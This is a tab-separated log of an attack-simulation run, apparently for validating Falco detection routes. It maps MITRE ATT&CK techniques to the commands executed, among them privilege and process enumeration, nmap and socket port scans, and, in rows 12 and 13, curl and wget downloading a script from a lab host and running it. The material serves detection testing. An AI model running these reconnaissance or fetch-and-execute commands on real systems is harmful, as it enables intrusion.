number	mitre_id	scenario_name	command	execution_status	exit_code	start_ts	end_ts	expected_playbook	route_label	route_observed	admin_notified	severity	incident_id
1	T1082	Découverte des répertoires accessibles en écriture et des permissions	find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe	EXECUTED	0	2026-11-09T06:11:11.510Z	2026-11-09T06:11:17.945Z	PB1	falco-route-s01	YES	SKIPPED	LOW	ROUTE-S01-aws-20261109-0608
2	T1082	Énumération des privilèges et de l’hôte	uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi	EXECUTED	0	2026-11-09T06:11:18.060Z	2026-11-09T06:11:24.779Z	PB1	falco-route-s02	YES	SKIPPED	LOW	ROUTE-S02-aws-20261109-0608
3	T1057	Découverte des processus utilisateur et des lignes de commande	ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30	EXECUTED	0	2026-11-09T06:11:24.878Z	2026-11-09T06:11:31.516Z	PB1	falco-route-s03	YES	SKIPPED	LOW	ROUTE-S03-aws-20261109-0608
4	T1057	Découverte détaillée des processus système	ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40	EXECUTED	0	2026-11-09T06:11:31.609Z	2026-11-09T06:11:38.169Z	PB1	falco-route-s04	YES	SKIPPED	LOW	ROUTE-S04-aws-20261109-0608
5	T1057	Énumération des processus et de procfs	ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2>/dev/null | head -c 160; echo; done | head -30	EXECUTED	0	2026-11-09T06:11:38.264Z	2026-11-09T06:11:44.702Z	PB1	falco-route-s05	YES	SKIPPED	LOW	ROUTE-S05-aws-20261109-0608
6	T1057	Découverte de la virtualisation et des processus de conteneur	ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true	EXECUTED	0	2026-11-09T06:11:44.794Z	2026-11-09T06:11:51.325Z	PB1	falco-route-s06	YES	SKIPPED	LOW	ROUTE-S06-aws-20261109-0608
7	T1083	Énumération récursive des répertoires et des fichiers	ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40	EXECUTED	0	2026-11-09T06:11:51.426Z	2026-11-09T06:11:57.812Z	PB1	falco-route-s07	YES	SKIPPED	LOW	ROUTE-S07-aws-20261109-0608
8	T1083	Recherche de fichiers nommés et inspection des métadonnées	mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery	EXECUTED	0	2026-11-09T06:11:57.905Z	2026-11-09T06:12:04.328Z	PB1	falco-route-s08	YES	SKIPPED	LOW	ROUTE-S08-aws-20261109-0608
9	T1083	Parcours et inspection du répertoire de travail	pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null	EXECUTED	0	2026-11-09T06:12:04.414Z	2026-11-09T06:12:10.802Z	PB1	falco-route-s09	YES	SKIPPED	LOW	ROUTE-S09-aws-20261109-0608
10	T1046	Identification des services réseau	nmap -Pn -sV --version-light -p 80,443,8080 cible2	EXECUTED	0	2026-11-09T06:12:10.895Z	2026-11-09T06:12:24.834Z	PB1	falco-route-s10	YES	SKIPPED	LOW	ROUTE-S10-aws-20261109-0608
11	T1046	Découverte de services TCP sur plusieurs ports	python3 -c "import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]"	EXECUTED	0	2026-11-09T06:12:24.966Z	2026-11-09T06:12:33.458Z	PB1	falco-route-s11	YES	SKIPPED	LOW	ROUTE-S11-aws-20261109-0608
12	T1105	Transfert, inspection et exécution d’un outil avec curl	curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh	EXECUTED	0	2026-11-09T06:12:33.551Z	2026-11-09T06:12:39.981Z	PB2	falco-route-s12	YES	SKIPPED	HIGH	ROUTE-S12-aws-20261109-0608
13	T1105	Transfert, préparation et exécution d’un outil avec wget	wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh	EXECUTED	0	2026-11-09T06:12:40.099Z	2026-11-09T06:12:46.594Z	PB2	falco-route-s13	YES	SKIPPED	HIGH	ROUTE-S13-aws-20261109-0608
14	T1059.004	Préparation et exécution d’un script shell	printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh	EXECUTED	0	2026-11-09T06:12:46.682Z	2026-11-09T06:12:53.111Z	PB3	falco-route-s14	YES	SKIPPED	URGENT	ROUTE-S14-aws-20261109-0608